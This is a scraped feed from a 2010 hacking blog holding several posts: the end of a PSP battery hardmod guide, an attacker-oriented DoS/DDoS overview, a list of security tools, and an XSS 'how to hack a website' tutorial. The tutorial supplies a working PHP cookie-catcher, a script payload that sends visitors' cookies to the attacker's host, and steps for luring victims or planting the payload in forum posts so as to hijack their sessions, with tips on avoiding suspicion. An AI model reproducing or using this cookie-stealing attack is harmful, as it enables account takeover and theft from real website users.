moving!!!!! That wasnt so hard now was it?&lt;br /&gt;Now, lets continue!&lt;br /&gt;&lt;br /&gt;Process #4: Hardmodding the battery:&lt;br /&gt;------------------------------------&lt;br /&gt;1)Take your battery and open it using a knife or exacto knife&lt;br /&gt;2)look on the main board for the display "ICO4" or "CO4" (depending on your battery)&lt;br /&gt;3)Now, take a needle or something like that and remove pin #5&lt;br /&gt;here is a diagram: (NOTE: you can find pin #5 easily when the ICO4 or CO4 display is facing you!!!!)&lt;br /&gt;__ (pin 4) __ (pin 8)&lt;br /&gt;__ (pin 3) __ (pin 7)&lt;br /&gt;__ (pin 2) __ (pin 6)&lt;br /&gt;__ (pin 1) __ (pin 5)&lt;br /&gt;a better diagram of it can be found on ben hecks page (see links)&lt;br /&gt;4)After that, put your battery back together.&lt;br /&gt;&lt;br /&gt;congratulations, you just softmodded your battery!!!!!&lt;br /&gt;&lt;br /&gt;Testing your battery:&lt;br /&gt;---------------------&lt;br /&gt;Your will know if you successfully made your battery when:&lt;br /&gt;1)you inert the battery and the green power LED comes on&lt;br /&gt;if it doesnt come on, you did now make it correctly!&lt;br /&gt;&lt;br /&gt;Running the files:&lt;br /&gt;-----------------&lt;br /&gt;Once your battery and your memory stick are being used at the same time, you will now have a "Pandora's Battery"&lt;br /&gt;so.........................&lt;br /&gt;1)put in your magic Memory Stick&lt;br /&gt;2)Put in your softmodded battery&lt;br /&gt;*if you see your wifi LED and memory stick LED blink, you have it working!!!!!!! as though in most occasions your screen wont light up but if it does, thats always good too*&lt;br /&gt;3)When your LED's are don flashing, press "[]" (square) to dump your nand flash (just in case you brick. be warned, the file is anywhere from 32MB-64MB depending on your psp)&lt;br /&gt;4)After that is done, you will be required reboot, so press X (cross) when your LED's are done flashing or when instructed to)&lt;br /&gt;5)Re-put in your battery and the pandora menu will load&lt;br /&gt;6)Press X (cross) to install 3.71M33&lt;br /&gt;7)After thats done, you will need to reboot again (press X (cross) when instructed to or when the LED's are done flashing)&lt;br /&gt;8)Now, remove your battery&lt;br /&gt;9)Plug in your charger&lt;br /&gt;10)Turn on the psp&lt;br /&gt;11)Put in your battery&lt;br /&gt;12)Remove the charger&lt;br /&gt;13)And you should now be running 3.71M33!!!!!&lt;br /&gt;&lt;br /&gt;Tips and tricks:&lt;br /&gt;---------------&lt;br /&gt;1)Run the v3 universal unbricker when your done so you can see the text (on slim psp's or fat)&lt;br /&gt;2)Buy a new battery (if your cheap, see the 1st question on "Final Questions"&lt;br /&gt;3)Remember NOT ALL homebrew is compatible with the psp slim!!&lt;br /&gt;&lt;br /&gt;Final Questions:&lt;br /&gt;---------------&lt;br /&gt;(Q)Can i ever dual boot my XMB and my battery&lt;br /&gt;(A)Yes! you can do this only one way. you need to buy a switch and solder on the + and - connector to the batter and to the switch. This will allow you to choose when you want to boot into pandora's battery or into your XMB (see links)&lt;br /&gt;&lt;br /&gt;(Q)When i insert my softmodded battery, the psp turns on but i cant see anything&lt;br /&gt;(A)Thats because your probably using a psp slim which in that case, just press X and then install the V3 unbricker&lt;br /&gt;&lt;br /&gt;(Q)The light comes on but my MS LED and my wofi LED doesnt do anything&lt;br /&gt;(A)This is a common problem when you dont follow the instruction EXACTLY, you have to re-create the magic memory stick&lt;br /&gt;&lt;br /&gt;(Q)Did you create this?&lt;br /&gt;(A)No, i did not. Ben Heck did and all details can be found on his site (see links)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;It is also good to mention that this method is for the "fat" psp model, if you own a slim, lift the #4 pin instead of the #5 pin from the battery.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Download Links:&lt;br /&gt;----------------&lt;br /&gt;Partition Mover:http://www.ziddu.com/download/11123243/msinst.rar.html&lt;br /&gt;Universal Unbricker: http://rapidshare.com/files/75256518/Pandora_Files_-_Move_to_the_root_of_your_memory_stick.rar.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-5205723486121361536?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/5205723486121361536/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/08/psp-hacking-softmodding-your-battery.html#comment-form' title='4 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/5205723486121361536'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/5205723486121361536'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/08/psp-hacking-softmodding-your-battery.html' title='PSP Hacking (Softmodding your battery)'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-3886242728564482234</id><published>2010-07-30T04:49:00.000-07:00</published><updated>2010-07-30T04:50:13.833-07:00</updated><title type='text'>Quick introduction to DoS and DDoS</title><content type='html'>With the current expansion of Internet worldwide, it became extremely necessary the creation of new forms of attacks by the hacker community, the concept of DoS (Denial of Service) and DDoS (Distributed Denial of Service) was born. This type of attack became popular by targeting entities where the availability of various services is the key to the entity's success as well as the reason for its existence, amongst those entities we can include as examples, Banks, ISP, E-commerce websites, etc.. Where every hour, minute or even second means the possible loss of huge amounts of money.&lt;br /&gt;&lt;br /&gt;Pre-Attack and Pre-Requirements&lt;br /&gt;&lt;br /&gt;It became, for quite a long time an unsolved puzzle for many security professionals the choice of the best time to create an attack network, pre-target-identification or post-target-identification, for sake of neutrality let's say that the best time depends on the objective to achieve, the attacker's mentality and its skills.&lt;br /&gt;We can easily understand that creating a pre-target-identification attack network that is fully functional at the zero attack hour has the same impact as a post-target-identification attack network of the same size ,power and is completely functional but in reality this is not completely true. A pre-target-identification has to be idle for more time, therefore causing network nodes to become inactive either by a sysadmin covering/fixing/patching the attacker's entry point or by the implementation of more restrictive security measures.&lt;br /&gt;The attack methodology used for the expansion of an attack network have been modified since the earliest *DoS attacks, what started as simple Host-by-host attack and the successive host append to the network turned into a battle of "intelligent" scripts/worms capable of doing the job by their own means without almost no human intervention on the process and with a power far more superior than the individual host attack method.&lt;br /&gt;Once formed the attack network, let's look at the attacker as a pyrotechnic technician with all his fireworks ready to launch and begin the show...The countdown clock reaches zero... The attacker presses the trigger (or some pre scheduled event occurs)... The show begins... But what happens?&lt;br /&gt;&lt;br /&gt;Post Attack Analysis&lt;br /&gt;&lt;br /&gt;From the uninformed victim's point of view, the attack was apparently conducted by various attackers at the same time, almost like an army that marched towards a castle, the real enemy would be the army's leading person and the army itself would just be the attacker's puppets, this lack of knowledge gives the attacker some time, making the victim go through all of the painful "Back-trace" process which sometimes due to a small budget, the high adjacent cost of the analysis and depending on the dimension of the damages caused can lead to the suspension of the attack's forensics.&lt;br /&gt;&lt;br /&gt;Protection layers&lt;br /&gt;&lt;br /&gt;It is fairly trivial that the more protection layers exist between the attacker and the victim, more anonymous and protected the attacker's identity will be and more difficulties will the victim run across to unveil the attack source.&lt;br /&gt;An elevated number of layers will, as expected, create "lag" between layers which can lead, if badly idealized, to the total of partial failure of the attack, on the other hand a small number of layers can lead to an easy detection of the attacker and therefore, large prejudice for the attacker, it is, in sum, essential to create a balance between both extremes to obtain a successful attack and effective risk distribution.&lt;br /&gt;&lt;br /&gt;Other types of DoS&lt;br /&gt;&lt;br /&gt;Examples of other attacks aimed at basic and essential company and individual's resources which are "un-wired" can include amongst others, electrical or telephonic cuts, extreme adverse climate conditions (bearing in mind that this attack is however not controlled by the attacker), access cuts (roads,etc..) and probably the most common used forms, the interception and/or manipulation followed by a negation of information or data transmitted via mail etc..&lt;br /&gt;&lt;br /&gt;refrence:http://www.astalavista.com/page/articles/_/lectures/quick-introduction-to-dos-and-ddos-r25&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-3886242728564482234?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/3886242728564482234/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/07/quick-introduction-to-dos-and-ddos.html#comment-form' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3886242728564482234'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3886242728564482234'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/07/quick-introduction-to-dos-and-ddos.html' title='Quick introduction to DoS and DDoS'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-746461501051557895</id><published>2010-07-16T16:39:00.000-07:00</published><updated>2010-07-16T16:40:00.034-07:00</updated><title type='text'>Top 10 Linux Hacking Tools</title><content type='html'>For installation of packages for : &lt;br /&gt;&lt;br /&gt;Ubuntu: apt-get install program name&lt;br /&gt;Fedora: yum install program name&lt;br /&gt;Open Suse: yum install nessus program name&lt;br /&gt;Debain: apt-get install nessus program name&lt;br /&gt;Gentoo: emerge -v program name&lt;br /&gt;Arch Linux: pacman -S program name&lt;br /&gt;Just Replace program name with the program you want to install. Again if you need any help PM me.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Nmap ("Network Mapper") is a free and open source (license) utility for network exploration or security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and both console and graphical versions are available. &lt;br /&gt;&lt;br /&gt;2. Aircrack : &lt;br /&gt;~The fastest available WEP/WPA cracking tool~&lt;br /&gt;Aircrack is a suite of tools for 802.11a/b/g WEP and WPA cracking. It can recover a 40 through 512-bit WEP key once enough encrypted packets have been gathered. It can also attack WPA 1 or 2 networks using advanced cryptographic methods or by brute force. The suite includes airodump (an 802.11 packet capture program), aireplay (an 802.11 packet injection program), aircrack (static WEP and WPA-PSK cracking), and airdecap (decrypts WEP/WPA capture files). &lt;br /&gt;&lt;br /&gt;3. Nessus :&lt;br /&gt;~Premier UNIX vulnerability assessment tool~&lt;br /&gt;Nessus was a popular free and open source vulnerability scanner until they closed the source code in 2005 and removed the free "registered feed" version in 2008. A limited â€œHome Feedâ€ is still available, though it is only licensed for home network use. Some people avoid paying by violating the â€œHome Feedâ€ license, or by avoiding feeds entirely and using just the plugins included with each release. But for most users, the cost has increased from free to $1200/year. Despite this, Nessus is still the best UNIX vulnerability scanner available and among the best to run on Windows. Nessus is constantly updated, with more than 20,000 plugins. Key features include remote and local (authenticated) security checks, a client/server architecture with a GTK graphical interface, and an embedded scripting language for writing your own plugins or understanding the existing ones. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Snort :&lt;br /&gt;~Everyone's favorite open source IDS~&lt;br /&gt;This lightweight network intrusion detection and prevention system excels at traffic analysis and packet logging on IP networks. Through protocol analysis, content searching, and various pre-processors, Snort detects thousands of worms, vulnerability exploit attempts, port scans, and other suspicious behavior. Snort uses a flexible rule-based language to describe traffic that it should collect or pass, and a modular detection engine. Also check out the free Basic Analysis and Security Engine (BASE), a web interface for analyzing Snort alerts. &lt;br /&gt;&lt;br /&gt;5.WireShark: &lt;br /&gt;~Sniffing the glue that holds the Internet together~&lt;br /&gt;Wireshark (known as Ethereal until a trademark dispute in Summer 2006) is a fantastic open source network protocol analyzer for Unix and Windows. It allows you to examine data from a live network or from a capture file on disk. You can interactively browse the capture data, delving down into just the level of packet detail you need. Wireshark has several powerful features, including a rich display filter language and the ability to view the reconstructed stream of a TCP session. It also supports hundreds of protocols and media types. A tcpdump-like console version named tethereal is included. One word of caution is that Ethereal has suffered from dozens of remotely exploitable security holes, so stay up-to-date and be wary of running it on untrusted or hostile networks (such as security conferences).&lt;br /&gt;&lt;br /&gt;6. John the Ripper : &lt;br /&gt;~A powerful, flexible, and fast multi-platform password hash cracker~&lt;br /&gt;John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. It supports several crypt(3) password hash types which are most commonly found on various Unix flavors, as well as Kerberos AFS and Windows NT/2000/XP LM hashes. Several other hash types are added with contributed patches. You will want to start with some wordlists, which you can find here, here, or here&lt;br /&gt;&lt;br /&gt;**NOTE For John the Ripper the program,the name you use is john to install**&lt;br /&gt;eg. apt-get install john&lt;br /&gt;&lt;br /&gt;7. Kismet : &lt;br /&gt;~A powerful wireless sniffer~&lt;br /&gt;Kismet is an console (ncurses) based 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. It identifies networks by passively sniffing (as opposed to more active tools such as NetStumbler), and can even decloak hidden (non-beaconing) networks if they are in use. It can automatically detect network IP blocks by sniffing TCP, UDP, ARP, and DHCP packets, log traffic in Wireshark/TCPDump compatible format, and even plot detected networks and estimated ranges on downloaded maps. As you might expect, this tool is commonly used for wardriving. Oh, and also warwalking, warflying, and warskating.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;8. Metasploit Framework :&lt;br /&gt;~Hack the Planet~&lt;br /&gt;Metasploit took the security world by storm when it was released in 2004. No other new tool even broke into the top 15 of this list, yet Metasploit comes in at #5, ahead of many well-loved tools that have been developed for more than a decade. It is an advanced open-source platform for developing, testing, and using exploit code. The extensible model through which payloads, encoders, no-op generators, and exploits can be integrated has made it possible to use the Metasploit Framework as an outlet for cutting-edge exploitation research. It ships with hundreds of exploits, as you can see in their online exploit building demo. This makes writing your own exploits easier, and it certainly beats scouring the darkest corners of the Internet for illicit shellcode of dubious quality. Similar professional exploitation tools, such as Core Impact and Canvas already existed for wealthy users on all sides of the ethical spectrum. Metasploit simply brought this capability to the masses. &lt;br /&gt;&lt;br /&gt;***You can not install Metasploit Framework, But you can read about it here**&lt;br /&gt;&lt;br /&gt;9. Nikto : &lt;br /&gt;~A more comprehensive web scanner~&lt;br /&gt;Nikto is an open source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 3200 potentially dangerous files/CGIs, versions on over 625 servers, and version specific problems on over 230 servers. Scan items and plugins are frequently updated and can be automatically updated (if desired). It uses Whisker/libwhisker for much of its underlying functionality. It is a great tool, but the value is limited by its infrequent updates. The newest and most critical vulnerabilities are often not detected. &lt;br /&gt;&lt;br /&gt;10. Netcat : &lt;br /&gt;~The network Swiss army knife~&lt;br /&gt;This simple utility reads and writes data across TCP or UDP network connections. It is designed to be a reliable back-end tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need, including port binding to accept incoming connections. The original Netcat was released by Hobbit in 1995, but it hasn't been maintained despite its immense popularity. It can sometimes even be hard to find nc110.tgz. The flexibility and usefulness of this tool have prompted people to write numerous other Netcat implementations - often with modern features not found in the original. One of the most interesting is Socat, which extends Netcat to support many other socket types, SSL encryption, SOCKS proxies, and more. It even made this list on its own merits&lt;br /&gt;&lt;br /&gt;11.THC Hydra: &lt;br /&gt;~A Fast network authentication cracker which supports many different services~&lt;br /&gt;When you need to brute force crack a remote authentication service, Hydra is often the tool of choice. It can perform rapid dictionary attacks against more then 30 protocols, including telnet, ftp, http, https, smb, several databases, and much more. Like THC Amap this release is from the fine folks at THC. &lt;br /&gt;&lt;br /&gt;You can get THC Hydra from HERE &lt;br /&gt;&lt;br /&gt;12. Ettercap : &lt;br /&gt;In case you still thought switched LANs provide much extra security&lt;br /&gt;Ettercap is a terminal-based network sniffer/interceptor/logger for ethernet LANs. It supports active and passive dissection of many protocols (even ciphered ones, like ssh and https). Data injection in an established connection and filtering on the fly is also possible, keeping the connection synchronized. Many sniffing modes were implemented to give you a powerful and complete sniffing suite. Plugins are supported. It has the ability to check whether you are in a switched LAN or not, and to use OS fingerprints (active or passive) to let you know the geometry of the LAN.&lt;br /&gt;&lt;br /&gt;reference:hackforums.net&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-746461501051557895?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/746461501051557895/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/07/top-10-linux-hacking-tools.html#comment-form' title='7 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/746461501051557895'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/746461501051557895'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/07/top-10-linux-hacking-tools.html' title='Top 10 Linux Hacking Tools'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-5313205952865600773</id><published>2010-07-13T07:02:00.000-07:00</published><updated>2010-07-13T07:23:12.259-07:00</updated><title type='text'>[Tut] How to Hack a Website by XSS</title><content type='html'>Hello Guys !&lt;br /&gt;&lt;br /&gt;I am going teach you How to hack a website through XSS (Persistent Cross Site Scripting).&lt;br /&gt;&lt;br /&gt;I wrote it because i didnt find a Nice Tut to explain XSS. I didnt added much pics as I dont want to hack an website for just a tut. But this is pretty much easy and you will learn without much difficulties. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;" Something about XSS " :- &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;XSS is basically using java scripts in different forms to get internet details of a user’s profile of respective website. With the help of XSS we can steal the cookies of the owner of the website. &lt;br /&gt;XSS is a very large concept and your success rate depends on your imagination and experience. &lt;br /&gt;Like SQL Injection, keylogging are the certain things, where you follow certain steps to execute something.&lt;br /&gt;Where XSS is just understanding the way we can use java scripts, &lt;br /&gt;and the vulnerabilities of the website may be at the different places for executing your java scripts. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So I could say that XSS or Cross site scripting means to take advantage of web applications that takes the user input but doesn’t filter them properly. This allows an attacker to inject HTML or other codes to get some hidden information out of it. Most common information that people look with &lt;br /&gt;XSS is Cookies. The cookies are used to maintain user authentication of respective website.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;" XSS " :- &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;* Search terms :- Almost all of the websites have search boxes where you can try to search something from the website. &lt;br /&gt;In the search box you can type your malicious script and check the vulnerability.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;* Text Boxes :- If you see any type of text boxes in the website which will basically let you &lt;br /&gt;put some query in it.&lt;br /&gt;&lt;br /&gt;So we are trying to find a place where we can write something, which will later be shown in the same webpage. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;" Types of XSS " :- &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are 2 types of XSS vulnerability.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Persistent Cross Site Scripting&lt;br /&gt;&lt;br /&gt;2. Non-persistent Cross site Scripting.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lets go for Persistent Cross Site Scripting.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;" Persistent Cross Site Scripting " :-&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Persistent Cross Site Scripting vulnerability would take place if the malicious code which you inject would be permanent on respective website. To understand it better. I will give u a little example.&lt;br /&gt;&lt;br /&gt;Suppose if you found a forum which is vulnerable to XSS. Then you can make a “New Topic” or “New Thread” in the forum. Every time some user or the admin opens up that particular thread, your code would be executed which wouldn’t have been filtered due to lacks in the security of the website and user’s or admin’s cookies would be sent to you on a “cookie catcher”, which would be a .php file stored on your own website. This website could be a free hosting website.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lets Suppose we have http://www.example.com.&lt;br /&gt;Its just for Example and actually example 's website Doesnt exist ! =P&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;" Checking for Vulnerability " :-&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, the very first thing we will have to see is a place where we can input some text, &lt;br /&gt;and later on that should be displayed. &lt;br /&gt;&lt;br /&gt;For example of secure sites,in Hackforums.com, we have a search bar, so in the search bar lets &lt;br /&gt;put “&lt;u&gt;test” and hit enter. &lt;br /&gt;You will see that it will say “Sorry, but no results were returned using the query information you provided.&lt;br /&gt;Please redefine your search terms and try again.”. &lt;br /&gt;But you should notice here that it doesn’t say “No search results found for “&lt;u&gt;test”. &lt;br /&gt;So it means that it is not Echoing the word that we put into the search bar. &lt;br /&gt;So there is no chance to exlpoit the search bar of Hackforums.&lt;br /&gt;&lt;br /&gt;" Testing Java Scripts " :-&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, since we know that the website is vulnerable to XSS. &lt;br /&gt;We will try to run a small java script into the website.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;script type="text/javascript" alert('test') script&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;So what this will do is, it will popup a little alert box saying “test” on it. &lt;br /&gt;And if it does that, it means that it accepts the javascripts input as well. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Remember : you can even use - &lt;blockquote&gt;script type="text/javascript" alert('your Name') script&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;It will show something like - &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://shafaqat309.files.wordpress.com/2009/04/image001.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 492px; height: 361px;" src="http://shafaqat309.files.wordpress.com/2009/04/image001.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Once, you’re done just clikc on the "Ok" or “Preview” button at the bottom. &lt;br /&gt;And in the next page you should get a popup that says “test”.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;" Finding Cookies " :-&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, since we have seen that the website IS accepting javascript inputs and executing them on the next page, lets try to do something else with the javascripts. First of all, i want you guyz to understand what are cookies and where do you find them. Type the following command into the address bar of your web browser.&lt;br /&gt;&lt;br /&gt;javascript:alert(document.cookie)&lt;br /&gt;&lt;br /&gt;As soon as you type that command and hit enter on the keyboard, it should make some popup which will show you your cookies of respective website. Make sure you are logged in to check your cookies. As i said before, cookies are the things which handles the sessions information and logs you in every time you visit the website.&lt;br /&gt;By doing this you can see your own cookies, but it would not help an attack UNLESS, we find some way to get those cookies sent to us. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, lets try to find a way to get these cookies sent to us with the help of the java scripts.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;" Creating Cookie Catcher " :-&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cookie catcher is a file, which you will have to upload to some of your web hosting account, and change its permission to 777 so it can grab the cookies. Copy the following code and paste it to your notepad.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;[?php&lt;br /&gt;$cookie = $_GET['c'];&lt;br /&gt;$ip = getenv (‘REMOTE_ADDR’);&lt;br /&gt;$date=date(“j F, Y, g:i a”);;&lt;br /&gt;$referer=getenv (‘HTTP_REFERER’);&lt;br /&gt;$fp = fopen(‘cookies.html’, ‘a’);&lt;br /&gt;fwrite($fp, ‘Cookie: ‘.$cookie.’&lt;br&gt; IP: ‘ .$ip. ‘&lt;br&gt; Date and Time: ‘ .$date. ‘&lt;br&gt; Referer: ‘.$referer.’&lt;br&gt;&lt;br&gt;&lt;br&gt;’);&lt;br /&gt;fclose($fp);&lt;br /&gt;header (“Location: http://www.yoursite.com”);&lt;br /&gt;?]&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Just a little elaboration about the script. The first statement will get the cookies. &lt;br /&gt;Second statement will get the IP. Third statement will get the referer. T&lt;br /&gt;he last link would send the victim to “Yoursite.com”. &lt;br /&gt;To make it a little less suspecious, you can change the link to example.com, &lt;br /&gt;so the victim wouldnt see anything unusual. so on. Copy the given code and put it into a notepad. &lt;br /&gt;Save it as something.php. Just make sure that you change the format to “.php”.&lt;br /&gt;&lt;br /&gt;You’ll need a free webhosting account where you can upload the file. I personally use “spam.com”, so create an account there and upload this php file. Make sure that you change its permissions to “777″.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;" Testing Cookie Catcher " :-&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, as you guyz have seen that we have been executing a little script in that page which brings &lt;br /&gt;up an alert bar, lets go a little advanced. Lets try to send our own cookies to our cookie catcher.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;script document.location=”link-of-your-cookie-catcher?c=” + document.cookies script&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;" Elaboration on the script " :-&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Document.Location will change the location of the website and we have set it equals to the &lt;br /&gt;link of your cookies catcher and “?c=” we’ve added because its a get statement. &lt;br /&gt;“+ document.cookies” means to visit your cookie catcher with the cookies of your victim’s site &lt;br /&gt;so it can record it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, here is the second&lt;br /&gt;&lt;br /&gt;Lets try if it works or not. I am going to using the script that I have shown in the &lt;br /&gt;“Something” page of example.com. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, If you click on Ok or Preview, it will take you to yoursite.com OR whatever you have changed &lt;br /&gt;the link to in the Cookie Catcher. Now, lets login back to spam.com account, and you will &lt;br /&gt;notice another “cookies.html” file has been added, automatically. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, if you open up the new automatically uploaded file, you will notice some cookies insde that file. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cookie: undefined&lt;br /&gt;IP: MY IP&lt;br /&gt;Date and Time: 3 April, 2010, 2:03 am&lt;br /&gt;Referer: http://www.example.com/preview.php?incli...ect=2009&amp;i[/color]ncident_hour_select=8&amp;incident_min_select=30&amp;incident_AMPM_&lt;br /&gt;select=AM&amp;policyNo=&amp;cellNo=&amp;preview=Preview&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note: This will look a little different from actual cookies, because when i stole these, &lt;br /&gt;i wasnt logged in, so if a user is logged in, then you should get a little different from this.&lt;br /&gt;&lt;br /&gt;Now, Get “cookie editor” addon of mozilla firefox.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;" Stealing Actual Cookies " :-&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Till now, we were our own victim, we were trying to steal our own cookies to make sure this works.&lt;br /&gt;Now, lets try to get some actual victims. In the site, you may have to PREVIEW the post first and &lt;br /&gt;then submit it. So the javascript is getting executed whenever you preview it, so we can not &lt;br /&gt;submit it because the script is already executed. And may be in other sites, you can directly &lt;br /&gt;submit the post, so the moment someone opens it, you will get the cookies. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Whenever you put the script in the “NAME” and something something in other fields, you click on preview, &lt;br /&gt;QUICKLY, before it redirects you to the website as described in your cookie stealer,&lt;br /&gt;the URL will change to something else for a moment. &lt;br /&gt;Thats what you will have to copy. What i copied was this.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://example.com/preview.php?inclinati...ew=Preview&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And then , you just give this link to your victim, as soon as they click ON it, you get the cookies.&lt;br /&gt;&lt;br /&gt;It is really useful because in other cases, you wouldn’t have to ask the victims to click on the link, &lt;br /&gt;you will actually submit the report. So as soon as someone reads it you get the cookies.&lt;br /&gt;&lt;br /&gt;refernce:hackforums.net [cyclone]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-5313205952865600773?l=devilz-kiddies.blogspot.com' alt='' 